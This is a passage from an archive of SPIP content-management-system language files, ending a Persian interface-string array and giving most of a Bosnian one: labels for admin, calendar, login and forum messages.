'texte_inc_meta_3' => 'در رپرتوار<code>@repertoire@</code>.',
'texte_statut_en_cours_redaction' => 'در حال نگارش',
'texte_statut_poubelle' => 'در سطل آشغال',
'texte_statut_propose_evaluation' => 'براى ارزيابى پيشنهاد شده',
'texte_statut_publie' => 'برروى تارنما منتشر شود',
'texte_statut_refuse' => 'پذيرفته نشده',
'titre_ajouter_mot_cle' => 'يك كليد-واژه اضافه كنيد :',
'titre_cadre_raccourcis' => 'راه كوتاه :',
'titre_changer_couleur_interface' => 'رنگ نماى سايت را تغيير دهيد',
'titre_image_admin_article' => 'شما ميتوانيد اين مقاله را اداره كنيد',
'titre_image_administrateur' => 'گرداننده سايت',
'titre_image_aide' => 'كمك براى اين قسمت',
'titre_image_auteur_supprime' => 'نويسنده حذف شده',
'titre_image_redacteur' => 'نويسنده بدون حق دسترسى',
'titre_image_redacteur_02' => 'نويسنده',
'titre_image_visiteur' => 'بازديد كننده',
'titre_joindre_document' => 'يك سند اضافه كنيد',
'titre_mots_cles' => 'واژه-كليدها',
'titre_probleme_technique' => ' توجه : يك مشكل فنى (serveur SQL)از دسترسى به اين قسمت سايت جلوگيرى ميكند. از توجه تان متشكريم',
'titre_publier_document' => 'در اين بخش يك سند منتشر كنيد',
'titre_signatures_attente' => 'امضاءها در انتظار تأييد',
'titre_signatures_confirmees' => 'امضاءها تأييد شده',
'titre_statistiques' => 'آمار سايت',
'titre_titre_document' => 'عنوان سند :',
'todo' => 'آتي',
'trad_reference' => 'مرججع ترجمهها',
// Z
'zbug_balise_b_aval' => 'تگ B در پايين',
'zbug_balise_inexistante' => 'تگ @balise@ به خاطر @form@ بد اعلام شده',
'zbug_balise_sans_argument' => 'شناسه (آرگومان) فاقد در تگ @balise@',
'zbug_boucle' => 'حلقه',
'zbug_boucle_recursive_undef' => 'حلقه بازگشتى نامشخص',
'zbug_calcul' => 'شمارش',
'zbug_champ_hors_boucle' => '@champ@ بيرون از حلقه',
'zbug_champ_hors_motif' => 'ميدان @champ@ بيرون از حلقه @motif@ ',
'zbug_code' => 'كد',
'zbug_critere_inconnu' => 'معيار ناشناس @critere@',
'zbug_distant_interdit' => 'ممنوع خارجي',
'zbug_doublon_table_sans_cle_primaire' => 'بدون كليد مقدماتي خودكار دوبرابر كردن از طريق يك جدول(؟)',
'zbug_doublon_table_sans_index' => 'بدون اندكس در جدول تکرار شود',
'zbug_erreur_boucle_double' => 'توصيف دوگانهي حلقهي @id@',
'zbug_erreur_boucle_fermant' => 'حلقه @id@ بسته نشد',
'zbug_erreur_boucle_syntaxe' => 'نحو حلقهي @id@ درست نيست ',
'zbug_erreur_compilation' => 'اشتباه در کامپایل ',
'zbug_erreur_execution_page' => 'اشتباه در اجراى برنامه ى صفحه',
'zbug_erreur_filtre' => 'فيلتر @filtre@ تعريف نشده',
'zbug_erreur_meme_parent' => 'معيار {meme_parent} تنها براى حلقه هاى (FORUMS) يا (RUBRIQUES) ميباشد',
'zbug_erreur_squelette' => 'اشتباه در ساختار اسكلت',
'zbug_hors_compilation' => 'تأليف خارجي',
'zbug_info_erreur_squelette' => 'اشتباه در سايت',
'zbug_inversion_ordre_inexistant' => 'وارانگى ترتيب ناموجود',
'zbug_pagination_sans_critere' => 'تگ PAGINATION# بدون معيار {pagination} یا استفاده شده در یک حلقه',
'zbug_parametres_inclus_incorrects' => ' پارامتر گنجاندهشده نادرست:@param@ ',
'zbug_profile' => 'زمان محاسب:@time@',
'zbug_resultat' => 'نتيجه',
'zbug_serveur_indefini' => ' سرور SQL مشخص نيست',
'zbug_statistiques' => 'آمارهاي درخواستهاي SQL طبقهبندي شده براساس مدت ',
'zbug_table_inconnue' => 'جدول SQL « @table@ » ناشناخته است',
'zxml_connus_attributs' => 'مشخصات شناخته شده',
'zxml_de' => 'از',
'zxml_inconnu_attribut' => 'مشخصه ی ناشناخته',
'zxml_inconnu_balise' => 'TAG ناشناخته',
'zxml_inconnu_entite' => 'ناشناخته',
'zxml_inconnu_id' => 'ID ناشناخته',
'zxml_mais_de' => 'اما از',
'zxml_non_conforme' => 'با موضوع مطابق نیست',
'zxml_non_fils' => 'پسرش نیست',
'zxml_nonvide_balise' => 'TAG خالی نیست',
'zxml_obligatoire_attribut' => 'مشخصه اجباری اما غایب در',
'zxml_succession_fils_incorrecte' => 'جانشین پسر درست نمیباشد',
'zxml_survoler' => 'برای دیدن جوابهای صحیح نوک فلش را روی آنها بگذارید',
'zxml_valeur_attribut' => 'ارزش مشخصه ها',
'zxml_vide_balise' => 'TAG خالی',
'zxml_vu' => 'قبلأ دیده شده'
);
?>
spip_bs.php 0000666 00000073440 15252547432 0006741 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/spip?lang_cible=bs
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// 0
'0_URL' => 'http://listes.rezo.net/mailman/listinfo/spip-dev',
'0_langue' => 'Bosanski [bs]',
'0_liste' => 'spip-dev@rezo.net',
'0_mainteneur' => 'nerina corbadzic <muzevira@googlemail.com>',
// A
'access_interface_graphique' => 'Nazad na kompletno graficki interfejs',
'access_mode_texte' => 'Prikazi pojednostavljeni tekstualni interfejs',
'admin_debug' => 'debug',
'admin_modifier_article' => 'Izmijeni ovaj clanak',
'admin_modifier_auteur' => 'Izmijeni ovog autora',
'admin_modifier_breve' => 'Izmijeni ovo obavjestenje',
'admin_modifier_mot' => 'Izmijeni ovu kljucnu rijec',
'admin_modifier_rubrique' => 'Izmijeni ovu rubriku',
'admin_recalculer' => 'Osvjezi ovu stranicu',
'alerte_maj_impossible' => '<b>Paznja!</b> Osvjezavanje SQL baze podataka na verziju @version@ nije uspjelo. Mozda se radi o dozvoli na bazi podataka. Molimo, kontaktirajte vas ISP.', # MODIF
'analyse_xml' => 'Obrada XML',
'articles_recents' => 'Последнји Чланци',
'avis_archive_incorrect' => 'arhiv dokument nije vazeci SPIP dokument',
'avis_archive_invalide' => 'arhiv dokument nije vazeci',
'avis_attention' => 'OPREZ!',
'avis_champ_incorrect_type_objet' => 'Pogresno ime polja @name@ za objekat tipa @type@',
'avis_colonne_inexistante' => 'Colona @col@ ne postoji',
'avis_erreur' => 'Greska: vidi ispod',
'avis_erreur_connexion' => 'Greska u konekciji',
'avis_erreur_cookie' => 'Problem sa cookiem',
'avis_erreur_fonction_contexte' => 'Greska u programiranju.Ova funkcija se ne treba pozivati u ovom kontekstu.', # MODIF
'avis_erreur_mysql' => 'SQL greska', # MODIF
'avis_erreur_sauvegarde' => 'Backup greska (@type@ @id_objet@) !',
// B
'barre_a_accent_grave' => 'Unesi veliko A sa grave akcentom',
'barre_aide' => 'Obogatite izgled vaseg teksta, koristeci se tipografskim precicama',
'barre_e_accent_aigu' => 'Unesi veliko E sa akutnim akcentom',
'barre_eo' => 'Unesi eo ligaturu',
'barre_eo_maj' => 'Unesi EO ligaturu velikim slovima',
'barre_euro' => 'Unesi simbol za euro',
'barre_gras' => 'Pretvori u {{masna slova}}',
'barre_guillemets' => 'Stavi pod "duple navodne znake"',
'barre_guillemets_simples' => 'Stavi pod "navodne znake"',
'barre_intertitre' => 'Pretvori u {{{podnaslov}}}',
'barre_italic' => 'Pretvori u {italik}',
'barre_lien' => 'pretvori u [hiperlink->http://...]',
'barre_lien_input' => 'Unesite odrediste vaseg hiperlinka (mozete unijeti internet URL u formi http://www.mysite.com ili navesti broj clanka na ovoj stranici.',
'barre_note' => 'Pretvori u [[fusnotu]]',
'barre_quote' => '<quote>citiraj neku poruku</quote>',
'bouton_changer' => 'Izmijeni',
'bouton_chercher' => 'Pretraga',
'bouton_choisir' => 'Izaberi',
'bouton_download' => 'Télécharger', # MODIF
'bouton_enregistrer' => 'Snimi',
'bouton_radio_desactiver_messagerie_interne' => 'Dezaktiviraj interni servis poruka',
'bouton_radio_envoi_annonces' => 'Posalji editorijalne najave',
'bouton_radio_non_envoi_annonces' => 'Ne salji najave',
'bouton_radio_non_envoi_liste_nouveautes' => 'Ne salji listu novosti',
'bouton_recharger_page' => 'Osvjezi ovu stranicu',
'bouton_telecharger' => 'Download',
'bouton_upload' => 'Download', # MODIF
'bouton_valider' => 'Ovjeri',
// C
'cal_apresmidi' => 'posljepodne',
'cal_jour_entier' => 'cijeli dan',
'cal_matin' => 'prijepodne',
'cal_par_jour' => 'dnevni kalendar',
'cal_par_mois' => 'mjesecni kalendar',
'cal_par_semaine' => 'sedmicni kalendar',
'confirm_changer_statut' => 'Trazili ste izmjenu statusa ovog clanka. Zelite li nastaviti?',
'correcte' => 'tacno',
// D
'date_aujourdhui' => 'danas',
'date_avant_jc' => 'pne.',
'date_dans' => 'za @delai@',
'date_de_mois_1' => '@j@ @nommois@',
'date_de_mois_10' => '@j@ @nommois@',
'date_de_mois_11' => '@j@ @nommois@',
'date_de_mois_12' => '@j@ @nommois@',
'date_de_mois_2' => '@j@ @nommois@',
'date_de_mois_3' => '@j@ @nommois@',
'date_de_mois_4' => '@j@ @nommois@',
'date_de_mois_5' => '@j@ @nommois@',
'date_de_mois_6' => '@j@ @nommois@',
'date_de_mois_7' => '@j@ @nommois@',
'date_de_mois_8' => '@j@ @nommois@',
'date_de_mois_9' => '@j@ @nommois@',
'date_demain' => 'sutra',
'date_fmt_heures_minutes' => '@h@h@m@min',
'date_fmt_jour_heure' => '@jour@ u @heure@',
'date_fmt_jour_mois' => '@jour@ @nommois@',
'date_fmt_jour_mois_annee' => '@jour@ @nommois@ @annee@',
'date_fmt_mois_annee' => '@nommois@ @annee@',
'date_fmt_nomjour_date' => '@nomjour@ @date@',
'date_heures' => 'sati',
'date_hier' => 'jucer',
'date_il_y_a' => 'prije @delai@',
'date_jnum1' => '1',
'date_jnum10' => '10',
'date_jnum11' => '11',
'date_jnum12' => '12',
'date_jnum13' => '13',
'date_jnum14' => '14',
'date_jnum15' => '15',
'date_jnum16' => '16',
'date_jnum17' => '17',
'date_jnum18' => '18',
'date_jnum19' => '19',
'date_jnum2' => '2',
'date_jnum20' => '20',
'date_jnum21' => '21',
'date_jnum22' => '22',
'date_jnum23' => '23',
'date_jnum24' => '24',
'date_jnum25' => '25',
'date_jnum26' => '26',
'date_jnum27' => '27',
'date_jnum28' => '28',
'date_jnum29' => '29',
'date_jnum3' => '3',
'date_jnum30' => '30',
'date_jnum31' => '31',
'date_jnum4' => '4',
'date_jnum5' => '5',
'date_jnum6' => '6',
'date_jnum7' => '7',
'date_jnum8' => '8',
'date_jnum9' => '9',
'date_jour_1' => 'nedjelja',
'date_jour_2' => 'ponedjeljak',
'date_jour_3' => 'utorak',
'date_jour_4' => 'srijeda',
'date_jour_5' => 'cetvrtak',
'date_jour_6' => 'petak',
'date_jour_7' => 'subota',
'date_jours' => 'dani',
'date_minutes' => 'minute',
'date_mois' => 'mjeseci',
'date_mois_1' => 'januar',
'date_mois_10' => 'oktobar',
'date_mois_11' => 'novembar',
'date_mois_12' => 'decembar',
'date_mois_2' => 'februar',
'date_mois_3' => 'mart',
'date_mois_4' => 'april',
'date_mois_5' => 'maj',
'date_mois_6' => 'juni',
'date_mois_7' => 'juli',
'date_mois_8' => 'august',
'date_mois_9' => 'septembar',
'date_saison_1' => 'zima',
'date_saison_2' => 'proljece',
'date_saison_3' => 'ljeto',
'date_saison_4' => 'jesen',
'date_semaines' => 'sedmice',
'dirs_commencer' => ' da bi ste poceli sa stvarnom instalacijom',
'dirs_preliminaire' => 'Uvod: <b>Podesavanje dozvola za pristup</b>',
'dirs_probleme_droits' => '<b>Problem sa dozvolama za pristup</b>',
'dirs_repertoires_absents' => '<b>Sljedeci direktoriji nisu nadjeni: <ul>@bad_dirs@.</ul> </b>
<p>Problem je vjerovatno u pisanju velikih i malih slova.
Provjerite da li velika i mala slova ovih direktorija odgovaraju onom sto je prikazano nize; ako to nije slucaj, promijenite imena direktorija pomocu vaseg FTP klijenta, da biste ispravili gresku.
</p><p>Kada to uradite, mozete </p>', # MODIF
'dirs_repertoires_suivants' => '<b>Sljedeci direktoriji ne dozvoljavaju pisanje: <ul>@bad_dirs@.</ul> </b>
<p>Da bi ste to promijenili, koristite svog FTP klijenta i postavite dozvole pristupa za svaki od direktorija. Procedura je detaljno opisana u uputama za instalaciju.
</p><p>Kada izvrsite ovu operaciju, mozete </p>', # MODIF
'double_occurrence' => 'Double occurrence', # MODIF
// E
'envoi_via_le_site' => 'Poslano putem stranice',
// F
'fichier_introuvable' => 'Dokument @fichier@ nije pronadjen',
'form_deja_inscrit' => 'Vec ste registrovani.',
'form_email_non_valide' => 'Vasa e-mail adresa nije vazeca.',
'form_forum_access_refuse' => 'Nemate vise pristup ovoj stranici.',
'form_forum_bonjour' => 'Dobar dan @nom@,',
'form_forum_email_deja_enregistre' => 'Ova e-mail adresa je vec registrovana. Mozete koistiti vasu uobicajenu lozinku',
'form_forum_identifiant_mail' => 'Vas novi identifikator vam je upravo poslan na vasu e-mail adresu.',
'form_forum_identifiants' => 'Licni identifikatori',
'form_forum_indiquer_nom_email' => 'Ovdje upisite vase ime i e-mail adresu. Ubrzo ce na tu adresu stici vas licni identifikator.',
'form_forum_login' => 'login:',
'form_forum_message_auto' => '(ovo je automatska poruka)',
'form_forum_pass' => 'lozinka:',
'form_forum_probleme_mail' => 'Problem sa e-mail adresom. Identifikator nije poslan.',
'form_forum_voici1' => 'Ovo su identifikatori za vase ucesce u aktivnosti stranice "@nom_site_spip@" (@adresse_site@/) :',
'form_forum_voici2' => 'Ovo su vasi identifikatori za postavljanje clanaka na stranici "@nom_site_spip@" (@adresse_site@/ecrire/) :',
'form_indiquer_email' => 'Naznacite vasu e-mail adresu.',
'form_indiquer_nom' => 'Naznacite vase ime.',
'form_indiquer_nom_site' => 'Naznacite ime vase stranice.',
'form_pet_deja_enregistre' => 'Ova stranica je vec registrovana',
'form_pet_signature_pasprise' => 'Vas potpis nije primljen.',
'form_prop_confirmer_envoi' => 'Potvrdi posiljku',
'form_prop_description' => 'Opis/komentar',
'form_prop_enregistre' => 'Vas prijedlog je registrovan i bice postavljen nakon ovjere od strane odgovornih osoba ove stranice.',
'form_prop_envoyer' => 'Posalji poruku',
'form_prop_indiquer_email' => 'Naznacite vazecu e-mail adresu',
'form_prop_indiquer_nom_site' => 'Naznacite ime strancie.',
'form_prop_indiquer_sujet' => 'Naznacite temu',
'form_prop_message_envoye' => 'Poruka poslana',
'form_prop_non_enregistre' => 'Vas prijedlog nije registrovan.',
'form_prop_sujet' => 'Tema',
'form_prop_url_site' => 'URL adresa stranice', # MODIF
'forum_non_inscrit' => 'Niste registrovani ili adresa i lozinka nisu ispravni.',
'forum_par_auteur' => 'od @auteur@',
'forum_titre_erreur' => 'Greska...',
// I
'ical_texte_rss_articles' => 'Backend dokument clanaka ove stranice se nalazi na adresi:',
'ical_texte_rss_articles2' => 'Svakako mozete dobiti backend dokumente za clanke svih rubrika na stanici:',
'ical_texte_rss_breves' => 'Postoji dokument koji sadrzi novosti stranice. Mozete dobiti samo novosti jedne rubrike, tako sto ce te izabrati broj sekcije.',
'icone_a_suivre' => 'À suivre',
'icone_admin_site' => 'Administracija stranice',
'icone_agenda' => 'Kalendar',
'icone_aide_ligne' => 'Pomoc',
'icone_articles' => 'Clanci',
'icone_auteurs' => 'Autori',
'icone_brouteur' => 'Brza navigacija',
'icone_configuration_site' => 'Podesavanje',
'icone_configurer_site' => 'Podesavanje vase stranice',
'icone_creer_nouvel_auteur' => 'Kreiraj novog autora',
'icone_creer_rubrique' => 'Kreiraj rubriku',
'icone_creer_sous_rubrique' => 'Kreiraj podrubriku',
'icone_deconnecter' => 'odjava',
'icone_discussions' => 'Diskusije',
'icone_doc_rubrique' => 'Prilozeni dokumenti',
'icone_ecrire_article' => 'Napisi novi clanak',
'icone_edition_site' => 'Izmjena',
'icone_gestion_langues' => 'Menadzer jezika',
'icone_informations_personnelles' => 'Licne informacije',
'icone_interface_complet' => 'cjelokupni interfejs',
'icone_interface_simple' => 'Pojednostavljeni interfejs',
'icone_maintenance_site' => 'Odrzavanje stranice',
'icone_messagerie_personnelle' => 'Licni servis poruka',
'icone_repartition_debut' => 'Prikazi distribuciju od pocetka',
'icone_rubriques' => 'Rubrike',
'icone_sauver_site' => 'Backup stranice',
'icone_site_entier' => 'Cjela stranica',
'icone_sites_references' => 'Preporucene stranice',
'icone_statistiques' => 'Statistike stranice',
'icone_suivi_activite' => 'Prati aktivnost stranice',
'icone_suivi_actualite' => 'Razvoj stranice',
'icone_suivi_pettions' => 'Prati/uredi peticija',
'icone_suivi_revisions' => 'Izmjene clanaka',
'icone_supprimer_document' => 'Izbrisi ovaj dokument',
'icone_supprimer_image' => 'Izbrisi ovu fotografiju',
'icone_tous_articles' => 'Svi vasi clanci',
'icone_tous_auteur' => 'Svi autori',
'icone_visiter_site' => 'Posjeti', # MODIF
'icone_voir_en_ligne' => 'Pogledaj online',
'img_indisponible' => 'fotografija je nedostupna',
'info_a_suivre' => 'LAUNCH PAD»',
'info_acces_interdit' => 'zabranjen pristup',
'info_acces_refuse' => 'pristup odbijen',
'info_action' => 'Akcija: @action@',
'info_administrer_rubriques' => 'Mozete administrirati ovu rubriku i njene podrubrike',
'info_adresse_non_indiquee' => 'Niste naznacili adresu koju treba testirati!',
'info_aide' => 'POMOC:',
'info_ajouter_mot' => 'Dodaj ovu rijec',
'info_annonce' => 'NAJAVA',
'info_annonces_generales' => 'Opste najave:',
'info_article_propose' => 'Clanak je predlozen',
'info_article_publie' => 'Clanak je objavljen',
'info_article_redaction' => 'Clanak u toku uredjivanja',
'info_article_refuse' => 'Clanak je odbijen',
'info_article_supprime' => 'Clanak je izbrisan',
'info_articles' => 'Чланци',
'info_articles_a_valider' => 'Clanci za ovjeriti',
'info_articles_proposes' => 'Predlozeni clanci',
'info_auteurs_nombre' => 'autor/i:',
'info_authentification_ftp' => 'Authentifikacija (FTP-om).',
'info_breves_2' => 'obavjestenja',
'info_connexion_refusee' => 'Prijava odbijena',
'info_contact_developpeur' => 'Kontaktirajte programera.',
'info_contenance' => 'Ova stranica sadrzi:',
'info_contribution' => 'Pridonos foruma', # MODIF
'info_copyright' => '@spip@ je slobodni softver distribucije @lien_gpl@.',
'info_copyright_doc' => 'Za vise informacija pogledajte <a href="@spipnet@">http://www.spip.net/fr</a>.', # MODIF
'info_copyright_gpl' => 'pod GPL licencom',
'info_cours_edition' => 'Vasi clanci u toku uredjivanja',
'info_creer_repertoire' => 'Kreirajte dokument ili direktorij pod imenom:',
'info_creer_repertoire_2' => 'Unutar podirektorija<b>ecrire/data/</b>, zatim:',
'info_creer_vignette' => 'automatska kreacija vinjete',
'info_deplier' => 'Otvori',
'info_descriptif_nombre' => 'opis/i:',
'info_description' => 'Opis:',
'info_description_2' => 'Opis:',
'info_dimension' => 'Dimenzije:',
'info_ecire_message_prive' => 'Napisi privatnu poruku',
'info_email_invalide' => 'Pogresna e-mail adresa.',
'info_en_cours_validation' => 'Vasi clanci u toku uredjivanja',
'info_en_ligne' => 'Trenutno online:',
'info_envoyer_message_prive' => 'Posalji privatnu poruku ovom autoru',
'info_erreur_requete' => 'Greska sa upitom:',
'info_erreur_squelette2' => 'Nijedan predlozak <b>@fichier@</b> nije dostupan...',
'info_erreur_systeme' => 'Sistemska greska (errno @errsys@)',
'info_fini' => 'Zavrseno je!',
'info_format_image' => 'Format fotografija koji se moze koristiti za kreiranje vinjeta: @gd_formats@.',
'info_format_non_defini' => 'neodredjen format',
'info_grand_ecran' => 'Veliki prikaz',
'info_image_aide' => 'POMOC',
'info_image_process_titre' => 'Metoda pravljenja vinjeta',
'info_impossible_lire_page' => '<b>Greska!</b> Nemoguce procitati stranicu <tt><html>@test_proxy@</html></tt> iako proxy <tt>', # MODIF
'info_installation_systeme_publication' => 'Instalacija sistema objavljivanja...',
'info_installer_documents' => 'Mozete automatski instalirati sve dokumente iz foldera <i>upload</i>.',
'info_installer_ftp' => 'Kao administrator mozete putem FTP-a instalirati dokumente iz foldera @upload@ da bi ste ih kasnije izabrali direktno sa ove lokacije.',
'info_installer_images' => 'Mozete instalirati fotografije formata JPEG, GIF i PNG.',
'info_installer_images_dossier' => 'Instalirajte fotografije u folder @upload@ da bi ste ih mogli izabrati sa ov lokacije.',
'info_interface_complete' => 'Cjelokupni interfejs',
'info_interface_simple' => 'Pojednostavljeni interfejs',
'info_joindre_document_article' => 'Ovom clanku mozete pridruziti dokumente tipa',
'info_joindre_document_rubrique' => 'Ovoj rubrici mozete dodati dokumente tipa',
'info_joindre_documents_article' => 'Vasem clanku mozete dodati dokumente tipa:',
'info_l_article' => 'Чланак',
'info_la_breve' => 'obavjestenje',
'info_la_rubrique' => 'rubrika',
'info_langue_principale' => 'Glavni jezik stranice',
'info_largeur_vignette' => '@largeur_vignette@ × @hauteur_vignette@ piksela',
'info_les_auteurs_1' => 'od @les_auteurs@',
'info_logo_format_interdit' => 'Dozvoljeni su samo logotipi formata @formats@.',
'info_logo_max_poids' => 'Logotip mora biti manji od @maxi@ (ovaj dokument je @actuel@).',
'info_mail_fournisseur' => 'vi@isp.com',
'info_message_2' => 'PORUKA',
'info_message_supprime' => 'PORUKA JE IZBRISANA',
'info_mise_en_ligne' => 'Datum objavljivanja:',
'info_modification_parametres_securite' => 'Izmjena parametara sigurnosti',
'info_mois_courant' => 'Tokom mjeseca:',
'info_mot_cle_ajoute' => 'Sljedeca kljucna rijec je dodana u',
'info_multi_herit' => 'Standardni jezik',
'info_multi_langues_soulignees' => '<u>Podvuceni jezici</u> raspolazu prevodom svih tekstova interfejsa. Ako izaberete jedan od tih jezika, brojni elementi javne stranice (datumi, formulari) ce biti automatski prevedeni. Za nepodvucene jezike, ti ce elementi biti prikazani u glavnom jeziku stranice.', # MODIF
'info_multilinguisme' => 'Multilingvizam',
'info_nom_non_utilisateurs_connectes' => 'Vase ime se ne pojavljuje na listi prisutnih korisnika.',
'info_nom_utilisateurs_connectes' => 'Vase ime se pojavljuje na listi prisutnih korisnika.',
'info_nombre_en_ligne' => 'Trenutno prisutni:',
'info_non_resultat' => 'Nema rezultata za "@cherche_mot@"',
'info_non_utilisation_messagerie' => 'Ne koristite privatni servis poruka ove stranice.',
'info_nouveau_message' => 'NEMATE NOVIH PORUKA',
'info_nouveaux_messages' => 'IMATE @total_messages@ NOVIH PORUKA',
'info_numero_abbreviation' => 'N°',
'info_pense_bete' => 'BILJESKA',
'info_petit_ecran' => 'Mali prikaz',
'info_pixels' => 'piksela',
'info_plusieurs_mots_trouves' => 'Pronadjeno je vise kljucnih rijeci za "@cherche_mot@":',
'info_portfolio_automatique' => 'Automatski portfolio:',
'info_premier_resultat' => '[@debut_limit@ prvih rezultata od ukupno @total@]',
'info_premier_resultat_sur' => '[@debut_limit@ prvih rezultata od ukupno @total@]',
'info_propose_1' => '[@nom_site_spip@] Poslano: @titre@',
'info_propose_2' => 'Clanak je poslan
---------------',
'info_propose_3' => 'Clanak "@titre@" je predlozen za objavljivanje.',
'info_propose_4' => 'Mozete ga konsultovati i dati vase misljenje',
'info_propose_5' => 'u forumu koji mu je pridruzen. Dostupan je na adresi:',
'info_publie_01' => 'Clanak "@titre@" je ovjerio/la @connect_nom@.',
'info_publie_1' => '[@nom_site_spip@] OBJAVLJEN: @titre@',
'info_publie_2' => 'Clanak objavljen
--------------',
'info_rechercher' => 'Pretraga',
'info_rechercher_02' => 'Pretraga:',
'info_remplacer_vignette' => 'Automatski zamijeni vinjetu sa pesonalizovanim logotipom:',
'info_sans_titre_2' => 'bez naslova',
'info_selectionner_fichier' => 'Mozete izabrati dokument iz foldera <i>upload</i>',
'info_selectionner_fichier_2' => 'Izaberite dokument:',
'info_supprimer_vignette' => 'izbrisi vinjetu',
'info_symbole_bleu' => 'Simbol <b>bleu</b> ukazuje na <b>pense-bête</b>: to jeste poruku za vasu licnu upotrebu.', # MODIF
'info_symbole_jaune' => 'Simbol <b>jaune</b> ukazuje na <b>najavu za sve urednike: Svi urednici ga mogu vidjeti i izmijeniti.', # MODIF
'info_symbole_vert' => 'Simbol <b>vert</b> ukazuje na <b>poruke razmijene sa drugim korisnicima</b> stranicama.', # MODIF
'info_telecharger_nouveau_logo' => 'Upload novi logotip:',
'info_telecharger_ordinateur' => 'Upload sa vaseg kompjutera:',
'info_tous_resultats_enregistres' => '[registrovani su svi rezultati]',
'info_tout_afficher' => 'Prikazi sve',
'info_travaux_texte' => 'Ova stranica jos nije podesena. Vratite se kasnije...',
'info_travaux_titre' => 'Stranica pod konstrukcijom',
'info_trop_resultat' => 'Previse rezultata za "@cherche_mot@"; predefinisite opcije pretrazivnja.',
'info_utilisation_messagerie_interne' => 'Koristite interni servis poruka ove stranice.',
'info_valider_lien' => 'ovjeri ovaj link',
'info_verifier_image' => ', provjerite da li je transfer fotografija uspio.',
'info_vignette_defaut' => 'Standardna vinjeta',
'info_vignette_personnalisee' => 'Personalizovana vinjeta',
'info_visite' => 'posjeta:',
'info_vos_rendez_vous' => 'Vasi sastanci koji slijede',
'infos_vos_pense_bete' => 'Vase biljeske', # MODIF
// L
'lien_afficher_icones_seuls' => 'Prikazi samo ikone',
'lien_afficher_texte_icones' => 'Prikazi ikone i tekst',
'lien_afficher_texte_seul' => 'Prikazi samo tekst',
'lien_liberer' => 'izdanje',
'lien_liberer_tous' => 'izdaj ove clanke', # MODIF
'lien_nouvea_pense_bete' => 'NOVA BILJESKA',
'lien_nouveau_message' => 'NOVA PORUKA',
'lien_nouvelle_annonce' => 'NOVA NAJAVA',
'lien_petitions' => 'PETICIJA',
'lien_popularite' => 'popularno: @popularite@%',
'lien_racine_site' => 'KORIJEN STRANICE',
'lien_reessayer' => 'pokusaj ponovo',
'lien_repondre_message' => 'Odgovori na ovu poruku',
'lien_supprimer' => 'izbrisi',
'lien_tout_afficher' => 'Prikazi sve',
'lien_visite_site' => 'posjeti ovu stranicu',
'lien_visites' => '@visites@ посете',
'lien_voir_auteur' => 'Pgledaj ovog autora',
'login_acces_prive' => 'pristup privatnom prostoru',
'login_autre_identifiant' => 'konektuj se drugim identifikatorom',
'login_cookie_accepte' => 'Podesite vas navigator da prihvata cookie (bar za ovu stranicu).',
'login_cookie_oblige' => 'Da bi ste se sigurno prijavili na ovu stranicu, morate prihvatiti cookie.',
'login_deconnexion_ok' => 'Odjavljeni ste.',
'login_erreur_pass' => 'Greska sa lozinkom.',
'login_espace_prive' => 'privatni prostor',
'login_identifiant_inconnu' => 'Identifikator « @login@ » je nepoznat.',
'login_login' => 'Login:',
'login_login2' => 'Login (identifikator za prijavu na stranicu) :', # MODIF
'login_login_pass_incorrect' => '(Login ili lozinka nije ispravna.)',
'login_motpasseoublie' => 'zaboravili ste lozinku?',
'login_non_securise' => 'Oprez, ovaj formular nije siguran.
Ako ne zelite da vasa lozinka bude dostupna na mrezi, aktivirajte Javascript u vasem navigatoru i',
'login_nouvelle_tentative' => 'Novi pokusaj',
'login_par_ici' => 'Registrovani ste... ovim putem...',
'login_pass2' => 'Lozinka:',
'login_preferez_refuser' => '<b>Ako zelite odbiti cookie</b>, na raspolaganju vam je drugi nacin prijavljivanja (manje siguran):',
'login_recharger' => 'ponovo ucitaj ovu stranicu',
'login_rester_identifie' => 'Ostanite identifikovani nekoliko dana',
'login_retour_public' => 'Nazad na javnu stranicu',
'login_retour_site' => 'Nazad na javnu stranicu',
'login_retoursitepublic' => 'nazad na javnu stranicu',
'login_sans_cookiie' => 'Identifikacija bez cookie',
'login_sinscrire' => 'registruj se',
'login_test_navigateur' => 'test navigatora/ponovna konekcija',
'login_verifiez_navigateur' => '(Svakako se uvjerite da vas navigator nije zapamtio vasu lozinku...)',
// M
'module_fichiers_langues' => 'Jezicni dokumenti',
// N
'navigateur_pas_redirige' => 'Ako vas navigator nije preusmjeren, kliknite ovdje da biste nastavili.',
// O
'onglet_affacer_base' => 'Izbrisi bazu',
'onglet_auteur' => 'Autor',
'onglet_contenu_site' => 'Sadrzaj stranice',
'onglet_evolution_visite_mod' => 'Nivo posjeta',
'onglet_fonctions_avances' => 'Napredne funkcije',
'onglet_informations_personnelles' => 'Licne informacije',
'onglet_interactivite' => 'Interaktivnost',
'onglet_messagerie' => 'Servis poruka',
'onglet_repartition_rubrique' => 'Distribucija po rubrikama',
'onglet_save_restaur_base' => 'Backup/obnova baze podataka',
'onglet_vider_cache' => 'Isprazni kes',
// P
'pass_choix_pass' => 'Izaberite vasu novu lozinku:',
'pass_erreur' => 'Greska',
'pass_erreur_acces_refuse' => '<b>Greska:</b> vise nemate pristup ovoj stranici.',
'pass_erreur_code_inconnu' => '<b>Greska:</b> ovaj kod ne odgovara nijednom posjetiocu koji ima pristup ovoj stranici.',
'pass_erreur_non_enregistre' => '<b>Greska:</b> adresa <tt>@email_oubli@</tt> nije registgrovana na ovoj stranici.',
'pass_erreur_non_valide' => '<b>Greska:</b> ovaj e-mail <tt>@email_oubli@</tt> nije vazeci!',
'pass_erreur_probleme_technique' => '<b>Greska:</b> e-mail nije poslan, radi tehnickog problema.',
'pass_espace_prive_bla' => 'Privatni prostor ove stranice je otvoren za posjetioce nakon registrovanja. Nakon registracije, mozete konsultovati clanke u toku uredjivanja,
predlagati clanke i ucestvovati u svim forumima.',
'pass_forum_bla' => 'Trazili ste ucesce u forumu koji je rezervisan za registrovane posjetioce.',
'pass_indiquez_cidessous' => 'Ispod naznacite e-mail adresu sa kojom ste trenutno registrovani. Primicete e-mail sa putem koji trebate slijediti da biste ponovo dobili pristup.',
'pass_mail_passcookie' => '(ovo je automatska poruka)
Da biste ponovo dobili pristup
@nom_site_spip@ (@adresse_site@)
Idite na sljedecu adresu:
@adresse_site@/spip_pass.php3?p=@cookie@
